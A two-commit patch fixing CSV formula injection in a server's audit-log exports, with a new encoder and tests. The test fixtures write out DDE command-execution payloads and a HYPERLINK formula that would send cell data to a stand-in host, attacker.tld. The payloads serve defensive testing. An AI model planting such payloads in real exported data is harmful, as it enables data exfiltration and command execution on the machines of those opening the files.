From bae174766bb62c854166200c96b773f46c3e0031 Mon Sep 17 00:00:00 2001 From: Dhananjay Maurya Date: Thu, 8 Oct 2026 14:43:43 +0530 Subject: [PATCH 1/2] Neutralise formula prefixes in CSV log exports generateCSV escaped quotes only when a value happened to contain a comma and never neutralised formula prefixes, so every CSV log export could emit attacker controlled cells that execute when an admin opens the file. actor is a virtual API key name validated as nothing more than a non-empty string, and path, host, originalRequestURL, metadata and the AI session bodies come straight from the client request. Each value now goes through a single encoder that collapses CR, LF and CRLF to a literal \n so a record can never be split across rows, prefixes a leading apostrophe when the first character would make a spreadsheet evaluate the cell as a formula, and quotes whenever the field contains a comma or a quote instead of only when it contains a comma. Headers use the same encoder so a column name cannot desynchronise the rows from the header row. The five CSV export endpoints also declare charset=utf-8, matching the content type already used by the log streaming destination. Fixes #3864 --- .../routers/auditLogs/exportAccessAuditLog.ts | 2 +- .../routers/auditLogs/exportActionAuditLog.ts | 2 +- .../auditLogs/exportConnectionAuditLog.ts | 2 +- .../routers/auditLogs/exportAiSessionLog.ts | 2 +- .../auditLogs/exportRequestAuditLog.ts | 2 +- server/routers/auditLogs/generateCSV.test.ts | 192 ++++++++++++++++++ server/routers/auditLogs/generateCSV.ts | 45 +++- 7 files changed, 234 insertions(+), 13 deletions(-) create mode 100644 server/routers/auditLogs/generateCSV.test.ts diff --git a/server/private/routers/auditLogs/exportAccessAuditLog.ts b/server/private/routers/auditLogs/exportAccessAuditLog.ts index 5c6240b2e..2eed0ecd3 100644 --- a/server/private/routers/auditLogs/exportAccessAuditLog.ts +++ b/server/private/routers/auditLogs/exportAccessAuditLog.ts @@ -99,7 +99,7 @@ export async function exportAccessAuditLogs( const csvData = generateCSV(log); - res.setHeader("Content-Type", "text/csv"); + res.setHeader("Content-Type", "text/csv; charset=utf-8"); res.setHeader( "Content-Disposition", `attachment; filename="access-audit-logs-${data.orgId}-${Date.now()}.csv"` diff --git a/server/private/routers/auditLogs/exportActionAuditLog.ts b/server/private/routers/auditLogs/exportActionAuditLog.ts index 112f03fb4..6f39c71fb 100644 --- a/server/private/routers/auditLogs/exportActionAuditLog.ts +++ b/server/private/routers/auditLogs/exportActionAuditLog.ts @@ -99,7 +99,7 @@ export async function exportActionAuditLogs( const csvData = generateCSV(log); - res.setHeader("Content-Type", "text/csv"); + res.setHeader("Content-Type", "text/csv; charset=utf-8"); res.setHeader( "Content-Disposition", `attachment; filename="action-audit-logs-${data.orgId}-${Date.now()}.csv"` diff --git a/server/private/routers/auditLogs/exportConnectionAuditLog.ts b/server/private/routers/auditLogs/exportConnectionAuditLog.ts index 810ae1630..6faa46048 100644 --- a/server/private/routers/auditLogs/exportConnectionAuditLog.ts +++ b/server/private/routers/auditLogs/exportConnectionAuditLog.ts @@ -101,7 +101,7 @@ export async function exportConnectionAuditLogs( const csvData = generateCSV(log); - res.setHeader("Content-Type", "text/csv"); + res.setHeader("Content-Type", "text/csv; charset=utf-8"); res.setHeader( "Content-Disposition", `attachment; filename="connection-audit-logs-${data.orgId}-${Date.now()}.csv"` diff --git a/server/routers/auditLogs/exportAiSessionLog.ts b/server/routers/auditLogs/exportAiSessionLog.ts index d786c3eaa..c8067cbe8 100644 --- a/server/routers/auditLogs/exportAiSessionLog.ts +++ b/server/routers/auditLogs/exportAiSessionLog.ts @@ -94,7 +94,7 @@ export async function exportAiSessionLogs( const csvData = generateCSV(log); - res.setHeader("Content-Type", "text/csv"); + res.setHeader("Content-Type", "text/csv; charset=utf-8"); res.setHeader( "Content-Disposition", `attachment; filename="ai-session-logs-${data.orgId}-${Date.now()}.csv"` diff --git a/server/routers/auditLogs/exportRequestAuditLog.ts b/server/routers/auditLogs/exportRequestAuditLog.ts index 156f85113..ecd386f38 100644 --- a/server/routers/auditLogs/exportRequestAuditLog.ts +++ b/server/routers/auditLogs/exportRequestAuditLog.ts @@ -91,7 +91,7 @@ export async function exportRequestAuditLogs( const csvData = generateCSV(log); - res.setHeader("Content-Type", "text/csv"); + res.setHeader("Content-Type", "text/csv; charset=utf-8"); res.setHeader( "Content-Disposition", `attachment; filename="request-audit-logs-${data.orgId}-${Date.now()}.csv"` diff --git a/server/routers/auditLogs/generateCSV.test.ts b/server/routers/auditLogs/generateCSV.test.ts new file mode 100644 index 000000000..59229c033 --- /dev/null +++ b/server/routers/auditLogs/generateCSV.test.ts @@ -0,0 +1,192 @@ +import { assertEquals } from "@test/assert"; +import { generateCSV } from "./generateCSV"; + +// Split a CSV document into its physical lines. Used to assert that a single +// record can never be spread over more than one row. +function lines(csv: string): string[] { + return csv.split("\n"); +} + +function runTests() { + console.log("Running CSV export hardening tests..."); + + // A value must not be able to start a formula that the spreadsheet would + // evaluate once the admin opens the export. + { + const csv = generateCSV([ + { + actor: `+cmd|'/c calc.exe'!A1`, + path: `-2+3+cmd|'/c calc'!A0`, + host: `@SUM(1+1)` + } + ]); + + assertEquals( + csv, + "actor,path,host\n" + + `'+cmd|'/c calc.exe'!A1,'-2+3+cmd|'/c calc'!A0,'@SUM(1+1)`, + "Formula prefixes should be neutralised with a leading apostrophe" + ); + } + + // The primary attack from the issue report: a virtual API key name that + // exfiltrates a neighbouring cell to an attacker controlled URL. + { + const csv = generateCSV([ + { actor: `=HYPERLINK("http://attacker.tld/?d="&A1,"click me")` } + ]); + + assertEquals( + csv, + `actor\n"'=HYPERLINK(""http://attacker.tld/?d=""&A1,""click me"")"`, + "Hyperlink formula built from a virtual API key name should not evaluate" + ); + } + + // Quoting alone does not help, but a quoted cell still has to survive the + // round trip and keep the remaining columns on the same row. + { + const csv = generateCSV([{ actor: `="a","b"`, path: "/quoted" }]); + + assertEquals( + csv, + `actor,path\n"'=""a"",""b""",/quoted`, + "A quoted formula should stay in one cell and leave later columns intact" + ); + } + + // Spreadsheets ignore leading whitespace before deciding a cell is a + // formula, so a tab prefix is dangerous too. + { + const csv = generateCSV([{ actor: "\t=1+1" }]); + + assertEquals( + csv, + "actor\n'\t=1+1", + "A tab before a formula should be neutralised" + ); + } + + // CR, LF and CRLF all end a record for some parsers. Collapsing them keeps + // one record on one line so a value cannot forge additional rows. + { + const csv = generateCSV([{ actor: "me", path: "/multi\n=1+1\nline3" }]); + + assertEquals( + csv, + "actor,path\nme,/multi\\n=1+1\\nline3", + "Embedded newlines should collapse to a literal escape sequence" + ); + assertEquals( + lines(csv).length, + 2, + "A record containing newlines should still occupy exactly one line" + ); + } + + // A record that ends in CRLF must not be able to open an empty row either. + { + const csv = generateCSV([{ actor: "me\r\nsecond", path: "/crlf" }]); + + assertEquals( + csv, + "actor,path\nme\\nsecond,/crlf", + "CRLF should collapse the same way a bare LF does" + ); + assertEquals( + lines(csv).length, + 2, + "A record containing CRLF should still occupy exactly one line" + ); + } + + // A quote without a comma used to skip escaping entirely and eat the + // columns that followed it. + { + const csv = generateCSV([{ actor: `evil"cell`, path: "/p" }]); + + assertEquals( + csv, + `actor,path\n"evil""cell",/p`, + "A quote without a comma should still be escaped" + ); + } + + // Ordinary values, commas and quotes should be untouched so the export + // stays readable. + { + const csv = generateCSV([ + { + id: 1, + timestamp: 1700000000, + action: true, + host: "app.example.com", + path: "/api/v1/users", + metadata: null, + userAgent: undefined + }, + { + id: 2, + timestamp: 1700000001, + action: false, + host: "app.example.com", + path: '/search?q=a,b"c', + metadata: null, + userAgent: undefined + } + ]); + + assertEquals( + csv, + [ + "id,timestamp,action,host,path,metadata,userAgent", + "1,1700000000,true,app.example.com,/api/v1/users,,", + `2,1700000001,false,app.example.com,"/search?q=a,b""c",,` + ].join("\n"), + "Benign rows should be emitted unchanged" + ); + } + + // A formula prefix is only dangerous at the start of a cell, so it must not + // be added mid-value. + { + const csv = generateCSV([{ host: "a=b.example.com" }]); + + assertEquals( + csv, + "host\na=b.example.com", + "Only leading prefixes should be neutralised" + ); + } + + // Headers go through the same encoder so a column name containing a comma + // cannot desynchronise every row from the header row. + { + const csv = generateCSV([{ "a,b": "1", actor: "me" }]); + + assertEquals( + csv, + '"a,b",actor\n1,me', + "A header containing a comma should be quoted" + ); + } + + // The empty result is a fixed header row and must stay byte for byte the + // same, since the UI relies on downloading a valid file even with no rows. + { + assertEquals( + generateCSV([]), + "orgId,action,actorType,timestamp,actor\n", + "An empty export should keep its placeholder header row" + ); + } + + console.log("All CSV export hardening tests passed!"); +} + +try { + runTests(); +} catch (error) { + console.error("Test failed:", error); +process.exit(1); +} diff --git a/server/routers/auditLogs/generateCSV.ts b/server/routers/auditLogs/generateCSV.ts index ea0da29f9..ca9741377 100644 --- a/server/routers/auditLogs/generateCSV.ts +++ b/server/routers/auditLogs/generateCSV.ts @@ -1,17 +1,46 @@ +// Spreadsheet applications (Excel, LibreOffice, Google Sheets) evaluate a cell +// as a formula when it starts with one of these characters, even if the cell is +// quoted. Log exports carry attacker controlled text in every column, so a +// leading apostrophe is prefixed to force the cell to be read as literal text. +const FORMULA_PREFIX = /^[=+\-@\t\r]/; + +// CRLF, CR and LF each terminate a record for at least one CSV parser, so a +// value containing them would otherwise spill across rows and forge new ones. +// Replacing them with a literal "\n" keeps every record on a single line. +const LINE_BREAKS = /\r\n|\r|\n/g; + +/** + * Render a single value as a CSV field that cannot be reinterpreted by a + * spreadsheet application or reshape the surrounding file. + */ +function toCsvField(value: unknown): string { + // Array#join renders null and undefined as an empty field, which is what the + // export has always emitted for those columns, so keep that behaviour. + if (value === null || value === undefined) { + return ""; + } + + const text = String(value).replace(LINE_BREAKS, "\\n"); + + // Quoting does not stop a spreadsheet from evaluating the unquoted value, + // so the apostrophe has to be added before the field is escaped. + const cell = FORMULA_PREFIX.test(text) ? `'${text}` : text; + + if (cell.includes(",") || cell.includes('"')) { + return `"${cell.replace(/"/g, '""')}"`; + } + + return cell; +} + export function generateCSV(data: any[]): string { if (data.length === 0) { return "orgId,action,actorType,timestamp,actor\n"; } - const headers = Object.keys(data[0]).join(","); + const headers = Object.keys(data[0]).map(toCsvField).join(","); const rows = data.map((row) => - Object.values(row) - .map((value) => - typeof value === "string" && value.includes(",") - ? `"${value.replace(/"/g, '""')}"` - : value - ) - .join(",") + Object.values(row).map(toCsvField).join(",") ); return [headers, ...rows].join("\n"); From ae36ca3127ad1220773e2d1c93c745bb919ac941 Mon Sep 17 00:00:00 2001 From: Dhananjay Maurya Date: Tue, 13 Oct 2026 00:06:15 +0530 Subject: [PATCH 2/2] Keep plain negative numbers numeric in CSV export A leading '-' only matters when the value is not a plain number, so -12 and -1.5 stay numeric while payloads like -2+3+cmd|'/c calc'!A0 still get the apostrophe prefix. --- server/routers/auditLogs/generateCSV.test.ts | 12 ++++++++++++ server/routers/auditLogs/generateCSV.ts | 11 ++++++++++- 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/server/routers/auditLogs/generateCSV.test.ts b/server/routers/auditLogs/generateCSV.test.ts index 59229c033..15855f135 100644 --- a/server/routers/auditLogs/generateCSV.test.ts +++ b/server/routers/auditLogs/generateCSV.test.ts @@ -147,6 +147,18 @@ function runTests() { ); } + // A plain negative number is not a formula, so it must stay numeric + // instead of being forced to text with a leading apostrophe. + { + const csv = generateCSV([{ id: -12, path: "-1.5" }]); + + assertEquals( + csv, + "id,path\n-12,-1.5", + "Negative numbers should stay numeric" + ); + } + // A formula prefix is only dangerous at the start of a cell, so it must not // be added mid-value. { diff --git a/server/routers/auditLogs/generateCSV.ts b/server/routers/auditLogs/generateCSV.ts index ca9741377..762d0b6af 100644 --- a/server/routers/auditLogs/generateCSV.ts +++ b/server/routers/auditLogs/generateCSV.ts @@ -4,6 +4,12 @@ // leading apostrophe is prefixed to force the cell to be read as literal text. const FORMULA_PREFIX = /^[=+\-@\t\r]/; +// A leading "-" alone is not dangerous when the rest of the value is just a +// number: spreadsheets read -12 as a number, not a formula. Only values like +// "-2+3+cmd|'/c calc'!A0" (a DDE payload) actually need neutralising, so +// plain negative numbers stay numeric instead of being forced to text. +const NEGATIVE_NUMBER = /^-\d+(\.\d+)?$/; + // CRLF, CR and LF each terminate a record for at least one CSV parser, so a // value containing them would otherwise spill across rows and forge new ones. // Replacing them with a literal "\n" keeps every record on a single line. @@ -24,7 +30,10 @@ function toCsvField(value: unknown): string { // Quoting does not stop a spreadsheet from evaluating the unquoted value, // so the apostrophe has to be added before the field is escaped. - const cell = FORMULA_PREFIX.test(text) ? `'${text}` : text; + const cell = + FORMULA_PREFIX.test(text) && !NEGATIVE_NUMBER.test(text) + ? `'${text}` + : text; if (cell.includes(",") || cell.includes('"')) { return `"${cell.replace(/"/g, '""')}"`;